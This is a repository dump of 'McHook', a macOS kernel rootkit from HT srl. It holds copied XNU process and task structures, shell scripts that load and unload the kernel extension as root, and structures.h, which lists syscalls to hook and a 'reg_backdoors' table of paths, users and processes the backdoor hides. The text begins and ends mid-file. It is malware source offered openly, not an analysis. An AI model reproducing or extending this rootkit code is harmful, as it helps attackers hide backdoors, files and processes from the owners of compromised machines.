on 20/03/2009 8 | * Copyright (C) HT srl 2009. All rights reserved 9 | * 10 | */ 11 | 12 | #ifndef _SYS_PROC_INTERNAL_H_ 13 | #define _SYS_PROC_INTERNAL_H_ 14 | 15 | #include 16 | #include 17 | __BEGIN_DECLS 18 | #include 19 | __END_DECLS 20 | 21 | struct proc; 22 | 23 | #define PROC_NULL (struct proc *)0 24 | 25 | #if (defined(MAC_OS_X_VERSION_10_7) && MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_7) 26 | 27 | #define MACH_KERNEL_PRIVATE 28 | #define __APPLE_API_UNSTABLE 29 | #define SYSCTL_DEF_ENABLED 30 | #define PROC_DEF_ENABLED 31 | 32 | typedef struct m_lck_mtx { 33 | union { 34 | struct { 35 | volatile uintptr_t lck_mtxd_owner; 36 | union { 37 | struct { 38 | volatile uint32_t 39 | lck_mtxd_waiters:16, 40 | lck_mtxd_pri:8, 41 | lck_mtxd_ilocked:1, 42 | lck_mtxd_mlocked:1, 43 | lck_mtxd_promoted:1, 44 | lck_mtxd_spin:1, 45 | lck_mtxd_is_ext:1, 46 | lck_mtxd_pad3:3; 47 | } a; 48 | uint32_t lck_mtxd_state; 49 | } b; 50 | #if defined(__x86_64__) 51 | /* Pad field used as a canary, initialized to ~0 */ 52 | uint32_t lck_mtxd_pad32; 53 | #endif 54 | } lck_mtxd; 55 | struct { 56 | struct _lck_mtx_ext_ *lck_mtxi_ptr; 57 | uint32_t lck_mtxi_tag; 58 | #if defined(__x86_64__) 59 | uint32_t lck_mtxi_pad32; 60 | #endif 61 | } lck_mtxi; 62 | } lck_mtx_sw; 63 | } m_lck_mtx_t; 64 | 65 | typedef struct m_lck_spin { 66 | volatile uintptr_t interlock; 67 | #if MACH_LDEBUG 68 | unsigned long lck_spin_pad[9]; /* XXX - usimple_lock_data_t */ 69 | #endif 70 | } m_lck_spin_t; 71 | 72 | /* 73 | * Added by SPARTA, Inc. 74 | */ 75 | /* 76 | * Login context. 77 | */ 78 | struct lctx { 79 | LIST_ENTRY(lctx) lc_list; /* List of all login contexts. */ 80 | LIST_HEAD(, proc) lc_members; /* Pointer to lc members. */ 81 | int lc_mc; /* Member Count. */ 82 | pid_t lc_id; /* Login context ID. */ 83 | 84 | struct label *lc_label; /* Login context MAC label. */ 85 | }; 86 | 87 | SLIST_HEAD(klist, knote); 88 | 89 | struct proc { 90 | LIST_ENTRY(proc) p_list; /* List of all processes. */ 91 | 92 | pid_t p_pid; /* Process identifier. (static)*/ 93 | void * task; /* corresponding task (static)*/ 94 | struct proc * p_pptr; /* Pointer to parent process.(LL) */ 95 | pid_t p_ppid; /* process's parent pid number */ 96 | pid_t p_pgrpid; /* process group id of the process (LL)*/ 97 | uid_t p_uid; 98 | gid_t p_gid; 99 | uid_t p_ruid; 100 | gid_t p_rgid; 101 | uid_t p_svuid; 102 | gid_t p_svgid; 103 | uint64_t p_uniqueid; /* process uniqe ID */ 104 | 105 | m_lck_mtx_t p_mlock; // [> mutex lock for proc <] 106 | 107 | char p_stat; /* S* process status. (PL)*/ 108 | char p_shutdownstate; 109 | char p_kdebug; /* P_KDEBUG eq (CC)*/ 110 | char p_btrace; /* P_BTRACE eq (CC)*/ 111 | 112 | LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp.(PGL) */ 113 | LIST_ENTRY(proc) p_sibling; /* List of sibling processes. (LL)*/ 114 | LIST_HEAD(, proc) p_children; /* Pointer to list of children. (LL)*/ 115 | TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads (PL) */ 116 | 117 | LIST_ENTRY(proc) p_hash; /* Hash chain. (LL)*/ 118 | TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */ 119 | 120 | m_lck_mtx_t p_fdmlock; /* proc lock to protect fdesc */ 121 | 122 | /* substructures: */ 123 | kauth_cred_t p_ucred; /* Process owner's identity. (PL) */ 124 | struct filedesc *p_fd; /* Ptr to open files structure. (PFDL) */ 125 | struct pstats *p_stats; /* Accounting/statistics (PL). */ 126 | struct plimit *p_limit; /* Process limits.(PL) */ 127 | 128 | struct sigacts *p_sigacts; /* Signal actions, state (PL) */ 129 | int p_siglist; /* signals captured back from threads */ 130 | m_lck_spin_t p_slock; /* spin lock for itimer/profil protection */ 131 | 132 | #define p_rlimit p_limit->pl_rlimit 133 | 134 | struct plimit *p_olimit; /* old process limits - not inherited by child (PL) */ 135 | unsigned int p_flag; /* P_* flags. (atomic bit ops) */ 136 | unsigned int p_lflag; /* local flags (PL) */ 137 | unsigned int p_listflag; /* list flags (LL) */ 138 | unsigned int p_ladvflag; /* local adv flags (atomic) */ 139 | int p_refcount; /* number of outstanding users(LL) */ 140 | int p_childrencnt; /* children holding ref on parent (LL) */ 141 | int p_parentref; /* children lookup ref on parent (LL) */ 142 | 143 | pid_t p_oppid; /* Save parent pid during ptrace. XXX */ 144 | u_int p_xstat; /* Exit status for wait; also stop signal. */ 145 | 146 | #ifdef _PROC_HAS_SCHEDINFO_ 147 | /* may need cleanup, not used */ 148 | u_int p_estcpu; /* Time averaged value of p_cpticks.(used by aio and proc_comapre) */ 149 | fixpt_t p_pctcpu; /* %cpu for this process during p_swtime (used by aio)*/ 150 | u_int p_slptime; /* used by proc_compare */ 151 | #endif /* _PROC_HAS_SCHEDINFO_ */ 152 | 153 | struct itimerval p_realtimer; /* Alarm timer. (PSL) */ 154 | struct timeval p_rtime; /* Real time.(PSL) */ 155 | struct itimerval p_vtimer_user; /* Virtual timers.(PSL) */ 156 | struct itimerval p_vtimer_prof; /* (PSL) */ 157 | 158 | struct timeval p_rlim_cpu; /* Remaining rlim cpu value.(PSL) */ 159 | int p_debugger; /* NU 1: can exec set-bit programs if suser */ 160 | boolean_t sigwait; /* indication to suspend (PL) */ 161 | void *sigwait_thread; /* 'thread' holding sigwait(PL) */ 162 | void *exit_thread; /* Which thread is exiting(PL) */ 163 | int p_vforkcnt; /* number of outstanding vforks(PL) */ 164 | void * p_vforkact; /* activation running this vfork proc)(static) */ 165 | int p_fpdrainwait; /* (PFDL) */ 166 | pid_t p_contproc; /* last PID to send us a SIGCONT (PL) */ 167 | 168 | /* Following fields are info from SIGCHLD (PL) */ 169 | pid_t si_pid; /* (PL) */ 170 | u_int si_status; /* (PL) */ 171 | u_int si_code; /* (PL) */ 172 | uid_t si_uid; /* (PL) */ 173 | 174 | void * vm_shm; /* (SYSV SHM Lock) for sysV shared memory */ 175 | 176 | #if CONFIG_DTRACE 177 | user_addr_t p_dtrace_argv; /* (write once, read only after that) */ 178 | user_addr_t p_dtrace_envp; /* (write once, read only after that) */ 179 | lck_mtx_t p_dtrace_sprlock; /* sun proc lock emulation */ 180 | int p_dtrace_probes; /* (PL) are there probes for this proc? */ 181 | u_int p_dtrace_count; /* (sprlock) number of DTrace tracepoints */ 182 | uint8_t p_dtrace_stop; /* indicates a DTrace-desired stop */ 183 | struct dtrace_ptss_page* p_dtrace_ptss_pages; /* (sprlock) list of user ptss pages */ 184 | struct dtrace_ptss_page_entry* p_dtrace_ptss_free_list; /* (atomic) list of individual ptss entries */ 185 | struct dtrace_helpers* p_dtrace_helpers; /* (dtrace_lock) DTrace per-proc private */ 186 | struct dof_ioctl_data* p_dtrace_lazy_dofs; /* (sprlock) unloaded dof_helper_t's */ 187 | #endif /* CONFIG_DTRACE */ 188 | 189 | /* XXXXXXXXXXXXX BCOPY'ed on fork XXXXXXXXXXXXXXXX */ 190 | /* The following fields are all copied upon creation in fork. */ 191 | #define p_startcopy p_argslen 192 | 193 | u_int p_argslen; /* Length of process arguments. */ 194 | int p_argc; /* saved argc for sysctl_procargs() */ 195 | user_addr_t user_stack; /* where user stack was allocated */ 196 | struct vnode *p_textvp; /* Vnode of executable. */ 197 | off_t p_textoff; /* offset in executable vnode */ 198 | 199 | sigset_t p_sigmask; /* DEPRECATED */ 200 | sigset_t p_sigignore; /* Signals being ignored. (PL) */ 201 | sigset_t p_sigcatch; /* Signals being caught by user.(PL) */ 202 | 203 | u_char p_priority; /* (NU) Process priority. */ 204 | u_char p_resv0; /* (NU) User-priority based on p_cpu and p_nice. */ 205 | char p_nice; /* Process "nice" value.(PL) */ 206 | u_char p_resv1; /* (NU) User-priority based on p_cpu and p_nice. */ 207 | 208 | //#if CONFIG_MACF 209 | int p_mac_enforce; /* MAC policy enforcement control */ 210 | //#endif 211 | 212 | char p_comm[MAXCOMLEN+1]; 213 | char p_name[(2*MAXCOMLEN)+1]; /* PL */ 214 | 215 | struct pgrp *p_pgrp; /* Pointer to process group. (LL) */ 216 | #if CONFIG_EMBEDDED 217 | int p_iopol_disk; /* disk I/O policy (PL) */ 218 | #endif /* CONFIG_EMBEDDED */ 219 | uint32_t p_csflags; /* flags for codesign (PL) */ 220 | uint32_t p_pcaction; /* action for process control on starvation */ 221 | uint8_t p_uuid[16]; /* from LC_UUID load command */ 222 | 223 | /* End area that is copied on creation. */ 224 | /* XXXXXXXXXXXXX End of BCOPY'ed on fork (AIOLOCK)XXXXXXXXXXXXXXXX */ 225 | #define p_endcopy p_aio_total_count 226 | int p_aio_total_count; /* all allocated AIO requests for this proc */ 227 | int p_aio_active_count; /* all unfinished AIO requests for this proc */ 228 | TAILQ_HEAD( , aio_workq_entry ) p_aio_activeq; /* active async IO requests */ 229 | TAILQ_HEAD( , aio_workq_entry ) p_aio_doneq; /* completed async IO requests */ 230 | 231 | struct klist p_klist; /* knote list (PL ?)*/ 232 | 233 | struct rusage *p_ru; /* Exit information. (PL) */ 234 | int p_sigwaitcnt; 235 | thread_t p_signalholder; 236 | thread_t p_transholder; 237 | 238 | /* DEPRECATE following field */ 239 | u_short p_acflag; /* Accounting flags. */ 240 | 241 | struct lctx *p_lctx; /* Pointer to login context. */ 242 | LIST_ENTRY(proc) p_lclist; /* List of processes in lctx. */ 243 | user_addr_t p_threadstart; /* pthread start fn */ 244 | user_addr_t p_wqthread; /* pthread workqueue fn */ 245 | int p_pthsize; /* pthread size */ 246 | user_addr_t p_targconc; /* target concurrency ptr */ 247 | void * p_wqptr; /* workq ptr */ 248 | int p_wqsize; /* allocated size */ 249 | boolean_t p_wqiniting; /* semaphore to serialze wq_open */ 250 | m_lck_spin_t p_wqlock; /* lock to protect work queue */ 251 | struct timeval p_start; /* starting time */ 252 | void * p_rcall; 253 | int p_ractive; 254 | int p_idversion; /* version of process identity */ 255 | void * p_pthhash; /* pthread waitqueue hash */ 256 | #if DIAGNOSTIC 257 | unsigned int p_fdlock_pc[4]; 258 | unsigned int p_fdunlock_pc[4]; 259 | #if SIGNAL_DEBUG 260 | unsigned int lockpc[8]; 261 | unsigned int unlockpc[8]; 262 | #endif /* SIGNAL_DEBUG */ 263 | #endif /* DIAGNOSTIC */ 264 | uint64_t p_dispatchqueue_offset; 265 | }; 266 | #else 267 | 268 | #define decl_lck_mtx_data(class,name) class lck_mtx_t name; 269 | /* 270 | * Description of a process. 271 | * 272 | * This structure contains the information needed to manage a thread of 273 | * control, known in UN*X as a process; it has references to substructures 274 | * containing descriptions of things that the process uses, but may share 275 | * with related processes. The process structure and the substructures 276 | * are always addressible except for those marked "(PROC ONLY)" below, 277 | * which might be addressible only on a processor on which the process 278 | * is running. 279 | */ 280 | struct proc { 281 | LIST_ENTRY(proc) p_list; /* List of all processes. */ 282 | 283 | pid_t p_pid; /* Process identifier. (static)*/ 284 | void * task; /* corresponding task (static)*/ 285 | struct proc * p_pptr; /* Pointer to parent process.(LL) */ 286 | pid_t p_ppid; /* process's parent pid number */ 287 | pid_t p_pgrpid; /* process group id of the process (LL)*/ 288 | 289 | 290 | char p_stat; /* S* process status. (PL)*/ 291 | char p_shutdownstate; 292 | char p_kdebug; /* P_KDEBUG eq (CC)*/ 293 | char p_btrace; /* P_BTRACE eq (CC)*/ 294 | 295 | LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp.(PGL) */ 296 | LIST_ENTRY(proc) p_sibling; /* List of sibling processes. (LL)*/ 297 | LIST_HEAD(, proc) p_children; /* Pointer to list of children. (LL)*/ 298 | TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads (PL) */ 299 | 300 | LIST_ENTRY(proc) p_hash; /* Hash chain. (LL)*/ 301 | TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */ 302 | 303 | 304 | /* substructures: */ 305 | kauth_cred_t p_ucred; /* Process owner's identity. (PL) */ 306 | struct filedesc *p_fd; /* Ptr to open files structure. (PFDL) */ 307 | struct pstats *p_stats; /* Accounting/statistics (PL). */ 308 | struct plimit *p_limit; /* Process limits.(PL) */ 309 | 310 | struct sigacts *p_sigacts; /* Signal actions, state (PL) */ 311 | 312 | #define p_rlimit p_limit->pl_rlimit 313 | 314 | struct plimit *p_olimit; /* old process limits - not inherited by child (PL) */ 315 | unsigned int p_flag; /* P_* flags. (atomic bit ops) */ 316 | unsigned int p_lflag; /* local flags (PL) */ 317 | unsigned int p_listflag; /* list flags (LL) */ 318 | unsigned int p_ladvflag; /* local adv flags (atomic) */ 319 | int p_refcount; /* number of outstanding users(LL) */ 320 | int p_childrencnt; /* children holding ref on parent (LL) */ 321 | int p_parentref; /* children lookup ref on parent (LL) */ 322 | 323 | pid_t p_oppid; /* Save parent pid during ptrace. XXX */ 324 | u_int p_xstat; /* Exit status for wait; also stop signal. */ 325 | 326 | #ifdef _PROC_HAS_SCHEDINFO_ 327 | /* may need cleanup, not used */ 328 | u_int p_estcpu; /* Time averaged value of p_cpticks.(used by aio and proc_comapre) */ 329 | fixpt_t p_pctcpu; /* %cpu for this process during p_swtime (used by aio)*/ 330 | u_int p_slptime; /* used by proc_compare */ 331 | #endif /* _PROC_HAS_SCHEDINFO_ */ 332 | 333 | struct itimerval p_realtimer; /* Alarm timer. (PSL) */ 334 | struct timeval p_rtime; /* Real time.(PSL) */ 335 | struct itimerval p_vtimer_user; /* Virtual timers.(PSL) */ 336 | struct itimerval p_vtimer_prof; /* (PSL) */ 337 | 338 | struct timeval p_rlim_cpu; /* Remaining rlim cpu value.(PSL) */ 339 | int p_debugger; /* NU 1: can exec set-bit programs if suser */ 340 | boolean_t sigwait; /* indication to suspend (PL) */ 341 | void *sigwait_thread; /* 'thread' holding sigwait(PL) */ 342 | void *exit_thread; /* Which thread is exiting(PL) */ 343 | int p_vforkcnt; /* number of outstanding vforks(PL) */ 344 | void * p_vforkact; /* activation running this vfork proc)(static) */ 345 | int p_fpdrainwait; /* (PFDL) */ 346 | pid_t p_contproc; /* last PID to send us a SIGCONT (PL) */ 347 | 348 | /* Following fields are info from SIGCHLD (PL) */ 349 | pid_t si_pid; /* (PL) */ 350 | u_int si_status; /* (PL) */ 351 | u_int si_code; /* (PL) */ 352 | uid_t si_uid; /* (PL) */ 353 | 354 | void * vm_shm; /* (SYSV SHM Lock) for sysV shared memory */ 355 | 356 | #if CONFIG_DTRACE 357 | user_addr_t p_dtrace_argv; /* (write once, read only after that) */ 358 | user_addr_t p_dtrace_envp; /* (write once, read only after that) */ 359 | int p_dtrace_probes; /* (PL) are there probes for this proc? */ 360 | u_int p_dtrace_count; /* (sprlock) number of DTrace tracepoints */ 361 | struct dtrace_ptss_page* p_dtrace_ptss_pages; /* (sprlock) list of user ptss pages */ 362 | struct dtrace_ptss_page_entry* p_dtrace_ptss_free_list; /* (atomic) list of individual ptss entries */ 363 | struct dtrace_helpers* p_dtrace_helpers; /* (dtrace_lock) DTrace per-proc private */ 364 | struct dof_ioctl_data* p_dtrace_lazy_dofs; /* (sprlock) unloaded dof_helper_t's */ 365 | #endif /* CONFIG_DTRACE */ 366 | 367 | /* XXXXXXXXXXXXX BCOPY'ed on fork XXXXXXXXXXXXXXXX */ 368 | /* The following fields are all copied upon creation in fork. */ 369 | #define p_startcopy p_argslen 370 | 371 | u_int p_argslen; /* Length of process arguments. */ 372 | int p_argc; /* saved argc for sysctl_procargs() */ 373 | user_addr_t user_stack; /* where user stack was allocated */ 374 | struct vnode *p_textvp; /* Vnode of executable. */ 375 | off_t p_textoff; /* offset in executable vnode */ 376 | 377 | sigset_t p_sigmask; /* DEPRECATED */ 378 | sigset_t p_sigignore; /* Signals being ignored. (PL) */ 379 | sigset_t p_sigcatch; /* Signals being caught by user.(PL) */ 380 | 381 | u_char p_priority; /* (NU) Process priority. */ 382 | u_char p_resv0; /* (NU) User-priority based on p_cpu and p_nice. */ 383 | char p_nice; /* Process "nice" value.(PL) */ 384 | u_char p_resv1; /* (NU) User-priority based on p_cpu and p_nice. */ 385 | 386 | //#if CONFIG_MACF 387 | int p_mac_enforce; /* MAC policy enforcement control */ 388 | //#endif 389 | 390 | char p_comm[MAXCOMLEN+1]; 391 | char p_name[(2*MAXCOMLEN)+1]; /* PL */ 392 | 393 | struct pgrp *p_pgrp; /* Pointer to process group. (LL) */ 394 | int p_iopol_disk; /* disk I/O policy (PL) */ 395 | uint32_t p_csflags; /* flags for codesign (PL) */ 396 | 397 | /* End area that is copied on creation. */ 398 | /* XXXXXXXXXXXXX End of BCOPY'ed on fork (AIOLOCK)XXXXXXXXXXXXXXXX */ 399 | #define p_endcopy aio_active_count 400 | int aio_active_count; /* entries on aio_activeq */ 401 | int aio_done_count; /* entries on aio_doneq */ 402 | TAILQ_HEAD( , aio_workq_entry ) aio_activeq; /* active async IO requests */ 403 | TAILQ_HEAD( , aio_workq_entry ) aio_doneq; /* completed async IO requests */ 404 | 405 | struct rusage *p_ru; /* Exit information. (PL) */ 406 | thread_t p_signalholder; 407 | thread_t p_transholder; 408 | 409 | /* DEPRECATE following field */ 410 | u_short p_acflag; /* Accounting flags. */ 411 | 412 | struct lctx *p_lctx; /* Pointer to login context. */ 413 | LIST_ENTRY(proc) p_lclist; /* List of processes in lctx. */ 414 | user_addr_t p_threadstart; /* pthread start fn */ 415 | user_addr_t p_wqthread; /* pthread workqueue fn */ 416 | int p_pthsize; /* pthread size */ 417 | void * p_wqptr; /* workq ptr */ 418 | int p_wqsize; /* allocated size */ 419 | struct timeval p_start; /* starting time */ 420 | void * p_rcall; 421 | int p_ractive; 422 | int p_idversion; /* version of process identity */ 423 | #if DIAGNOSTIC 424 | unsigned int p_fdlock_pc[4]; 425 | unsigned int p_fdunlock_pc[4]; 426 | #if SIGNAL_DEBUG 427 | unsigned int lockpc[8]; 428 | unsigned int unlockpc[8]; 429 | #endif /* SIGNAL_DEBUG */ 430 | #endif /* DIAGNOSTIC */ 431 | }; 432 | #endif 433 | 434 | /* Lock and unlock a login context. */ 435 | #define LCTX_LOCK(lc) lck_mtx_lock(&(lc)->lc_mtx) 436 | #define LCTX_UNLOCK(lc) lck_mtx_unlock(&(lc)->lc_mtx) 437 | #define LCTX_LOCKED(lc) 438 | //#define LCTX_LOCK_ASSERT(lc, type) 439 | //#define ALLLCTX_LOCK lck_mtx_lock(&alllctx_lock) 440 | //#define ALLLCTX_UNLOCK lck_mtx_unlock(&alllctx_lock) 441 | //extern lck_grp_t * lctx_lck_grp; 442 | //extern lck_grp_attr_t * lctx_lck_grp_attr; 443 | //extern lck_attr_t * lctx_lck_attr; 444 | 445 | #define PIDHASH(pid) (&pidhashtbl[(pid) & pidhash]) 446 | //extern LIST_HEAD(pidhashhead, proc) *pidhashtbl; 447 | //extern u_long pidhash; 448 | 449 | #define PGRPHASH(pgid) (&pgrphashtbl[(pgid) & pgrphash]) 450 | //extern LIST_HEAD(pgrphashhead, pgrp) *pgrphashtbl; 451 | //extern u_long pgrphash; 452 | #define SESSHASH(sessid) (&sesshashtbl[(sessid) & sesshash]) 453 | //extern LIST_HEAD(sesshashhead, session) *sesshashtbl; 454 | //extern u_long sesshash; 455 | 456 | //extern lck_grp_t * proc_lck_grp; 457 | //extern lck_grp_attr_t * proc_lck_grp_attr; 458 | //extern lck_attr_t * proc_lck_attr; 459 | 460 | LIST_HEAD(proclist, proc); 461 | 462 | //extern struct proclist allproc; /* List of all processes. */ 463 | 464 | #endif /* !_SYS_PROC_INTERNAL_H_ */ 465 | -------------------------------------------------------------------------------- /start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | KEXT=/Users/test1/Library/Developer/Xcode/DerivedData/mchook-dbxvtdvdcdtdmrfqgacjaoqcflry/Build/Products/Release/mchook-64.kext 4 | cp -r $KEXT /tmp 5 | 6 | mv /tmp/mchook-64.kext/Contents/MacOS/mchook-64 /tmp/mchook-64.kext/Contents/MacOS/mchook 7 | chmod -R 744 /tmp/mchook-64.kext/* 8 | chown -R root:wheel /tmp/mchook-64.kext 9 | 10 | sed -i -e s/10\.4/11\.3/g /tmp/mchook-64.kext/Contents/Info.plist 11 | kextload -v /tmp/mchook-64.kext 12 | 13 | -------------------------------------------------------------------------------- /stop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | KEXT=/tmp/mchook-64.kext 4 | chmod -R 755 $KEXT/* 5 | chown -R test1:staff $KEXT 6 | 7 | kextunload $KEXT 8 | -------------------------------------------------------------------------------- /structures.h: -------------------------------------------------------------------------------- 1 | /* 2 | * McHook - structures.h 3 | * OS X KSpace Rootkit 4 | * 5 | * Created by revenge on 20/03/2009 6 | * Copyright (C) HT srl 2009. All rights reserved 7 | * 8 | */ 9 | 10 | #if __LP64__ || NS_BUILD_32_LIKE_64 11 | typedef int64_t NSInteger; 12 | typedef uint64_t NSUInteger; 13 | #else 14 | typedef int32_t NSInteger; 15 | typedef uint32_t NSUInteger; 16 | #endif 17 | 18 | #define PAD_(t) (sizeof(uint64_t) <= sizeof(t) \ 19 | ? 0 : sizeof(uint64_t) - sizeof(t)) 20 | 21 | #if BYTE_ORDER == LITTLE_ENDIAN 22 | #define PADL_(t) 0 23 | #define PADR_(t) PAD_(t) 24 | #else 25 | #define PADL_(t) PAD_(t) 26 | #define PADR_(t) 0 27 | #endif 28 | 29 | // BSD syscall(s) 30 | #define SYS_syscall 0 31 | #define SYS_exit 1 32 | #define SYS_fork 2 33 | #define SYS_read 3 34 | #define SYS_wait4 7 35 | #define SYS_setuid 23 36 | #define SYS_ptrace 26 37 | #define SYS_kill 37 38 | #define SYS_reboot 55 39 | #define SYS_shutdown 134 40 | #define SYS_getdirentries 196 41 | #define SYS_getattrlist 220 42 | #define SYS_getdirentriesattr 222 43 | #define SYS_getdirentries64 344 44 | 45 | // Mach-trap(s) 46 | #define TRAP_tfp 45 47 | 48 | #define MAX_PATH_ENTRIES 15 49 | #define MAX_BACKDOOR_ENTRIES 15 50 | #define MAX_USER_SIZE 20 51 | #define MAX_DIRNAME_SIZE 30 52 | 53 | typedef struct exclusion_list { 54 | char processname[20]; 55 | int is_active; 56 | } exclusion_list_t; 57 | 58 | // 59 | // Per-Backdoor+Username (per-pid) data struct holding all the paths that the backdoor 60 | // needs to hide, filled in through ioctl requests 61 | // 62 | typedef struct reg_backdoors { 63 | char path[MAX_PATH_ENTRIES][MAX_DIRNAME_SIZE]; 64 | char username[MAX_USER_SIZE]; 65 | int path_counter; 66 | int is_active; 67 | int is_hidden; 68 | int is_task_hidden; 69 | int is_proc_hidden; 70 | proc_t p; 71 | } reg_backdoors_t; 72 | 73 | typedef struct symbol_32 { 74 | uint32_t hash; 75 | uint32_t address; 76 | } symbol32_t; 77 | 78 | typedef struct symbol_64 { 79 | uint64_t hash; 80 | uint64_t address; 81 | } symbol64_t; 82 | 83 | typedef struct os_version { 84 | uint32_t major; 85 | uint32_t minor; 86 | uint32_t bugfix; 87 | } os_version_t; 88 | 89 | typedef struct attribute_buffer { 90 | uint32_t length; 91 | attrreference_t name; 92 | } attribute_buffer_t; 93 | 94 | struct FInfoAttrBuf { 95 | unsigned long length; 96 | attrreference_t name; 97 | fsobj_type_t objType; 98 | char finderInfo[32]; 99 | }; 100 | typedef struct FInfoAttrBuf FInfoAttrBuf; 101 | 102 | typedef struct attr_list { 103 | u_short bitmapcount; // number of attr. bit sets in list (should be 5) 104 | u_int16_t reserved; // (to maintain 4-byte alignment) 105 | u_int32_t commonattr; // common attribute group 106 | u_int32_t volattr; // Volume attribute group 107 | u_int32_t dirattr; // directory attribute group 108 | u_int32_t fileattr; // file attribute group 109 | u_int32_t forkattr; // fork attribute group 110 | } attr_list_t; 111 | 112 | struct mk_read_args { 113 | char fd_l_[PADL_(int)]; 114 | int fd; 115 | char fd_r_[PADR_(int)]; 116 | char cbuf_l_[PADL_(user_addr_t)]; 117 | user_addr_t cbuf; 118 | char cbuf_r_[PADR_(user_addr_t)]; 119 | char nbyte_l_[PADL_(user_size_t)]; 120 | user_size_t nbyte; 121 | char nbyte_r_[PADR_(user_size_t)]; 122 | }; 123 | 124 | struct mk_getdirentries_args { 125 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 126 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 127 | char count_l_[PADL_(u_int)]; u_int count; char count_r_[PADR_(u_int)]; 128 | char basep_l_[PADL_(user_addr_t)]; user_addr_t basep; char basep_r_[PADR_(user_addr_t)]; 129 | }; 130 | 131 | struct mk_getdirentries64_args { 132 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 133 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 134 | char bufsize_l_[PADL_(user_size_t)]; user_size_t bufsize; char bufsize_r_[PADR_(user_size_t)]; 135 | char position_l_[PADL_(user_addr_t)]; user_addr_t position; char position_r_[PADR_(user_addr_t)]; 136 | }; 137 | 138 | //#if (defined(MAC_OS_X_VERSION_10_7) && MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_7) 139 | //struct mk_getdirentriesattr_args { 140 | //int fd; 141 | //struct attrlist *alist; 142 | //void *buffer; 143 | //size_t buffersize; 144 | //u_long *count; 145 | //u_long *basep; 146 | //u_long *newstate; 147 | //u_long options; 148 | //}; 149 | //#else 150 | struct mk_getdirentriesattr_args { 151 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 152 | char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)]; 153 | char buffer_l_[PADL_(user_addr_t)]; user_addr_t buffer; char buffer_r_[PADR_(user_addr_t)]; 154 | char buffersize_l_[PADL_(user_size_t)]; user_size_t buffersize; char buffersize_r_[PADR_(user_size_t)]; 155 | char count_l_[PADL_(user_addr_t)]; user_addr_t count; char count_r_[PADR_(user_addr_t)]; 156 | char basep_l_[PADL_(user_addr_t)]; user_addr_t basep; char basep_r_[PADR_(user_addr_t)]; 157 | char newstate_l_[PADL_(user_addr_t)]; user_addr_t newstate; char newstate_r_[PADR_(user_addr_t)]; 158 | char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)]; 159 | }; 160 | //#endif 161 | 162 | struct mk_getattrlist_args { 163 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 164 | char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)]; 165 | char attributeBuffer_l_[PADL_(user_addr_t)]; user_addr_t attributeBuffer; char attributeBuffer_r_[PADR_(user_addr_t)]; 166 | char bufferSize_l_[PADL_(user_size_t)]; user_size_t bufferSize; char bufferSize_r_[PADR_(user_size_t)]; 167 | char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)]; 168 | }; 169 | 170 | struct mk_kill_args { 171 | char pid_l_[PADL_(int)]; int pid; char pid_r_[PADR_(int)]; 172 | char signum_l_[PADL_(int)]; int signum; char signum_r_[PADR_(int)]; 173 | char posix_l_[PADL_(int)]; int posix; char posix_r_[PADR_(int)]; 174 | }; 175 | 176 | typedef int32_t sy_call_t (struct proc *, void *, int *); 177 | typedef void sy_munge_t (const void *, void *); 178 | 179 | // system call table 180 | struct sysent { 181 | int16_t sy_narg; // number of args 182 | int8_t sy_resv; // reserved 183 | int8_t sy_flags; // flags 184 | sy_call_t *sy_call; // implementing function 185 | sy_munge_t *sy_arg_munge32; // system call arguments munger for 32-bit process 186 | sy_munge_t *sy_arg_munge64; // system call arguments munger for 64-bit process 187 | int32_t sy_return_type; // system call return types 188 | uint16_t sy_arg_bytes; // Total size of arguments in bytes for 189 | // 32-bit system calls 190 | }; 191 | -------------------------------------------------------------------------------- /task_internal.h: -------------------------------------------------------------------------------- 1 | /* 2 | * task_internal.h 3 | * mchook 4 | * 5 | * Created by revenge on 9/23/10. 6 | * Copyright 2010 HT srl. All rights reserved. 7 | * 8 | */ 9 | 10 | #define queue_first(q) ((q)->next) 11 | #define queue_next(qc) ((qc)->next) 12 | #define queue_end(q, qe) ((q) == (qe)) 13 | 14 | struct queue_entry { 15 | struct queue_entry *next; /* next element */ 16 | struct queue_entry *prev; /* previous element */ 17 | }; 18 | 19 | typedef struct queue_entry *queue_entry_t; 20 | typedef struct queue_entry queue_chain_t; 21 | typedef struct queue_entry queue_head_t; 22 | 23 | //extern queue_head_t tasks; 24 | 25 | /* 26 | * Common storage for exception actions. 27 | * There are arrays of these maintained at the activation, task, and host. 28 | */ 29 | struct exception_action { 30 | struct ipc_port *port; /* exception port */ 31 | thread_state_flavor_t flavor; /* state flavor to send */ 32 | exception_behavior_t behavior; /* exception type to raise */ 33 | boolean_t privileged; /* survives ipc_task_reset */ 34 | }; 35 | 36 | /* 37 | * Real segment descriptor. 38 | */ 39 | struct real_descriptor { 40 | uint32_t limit_low:16, /* limit 0..15 */ 41 | base_low:16, /* base 0..15 */ 42 | base_med:8, /* base 16..23 */ 43 | access:8, /* access byte */ 44 | limit_high:4, /* limit 16..19 */ 45 | granularity:4,/* granularity */ 46 | base_high:8; /* base 24..31 */ 47 | }; 48 | 49 | struct user_ldt { 50 | unsigned int start; /* first descriptor in table */ 51 | 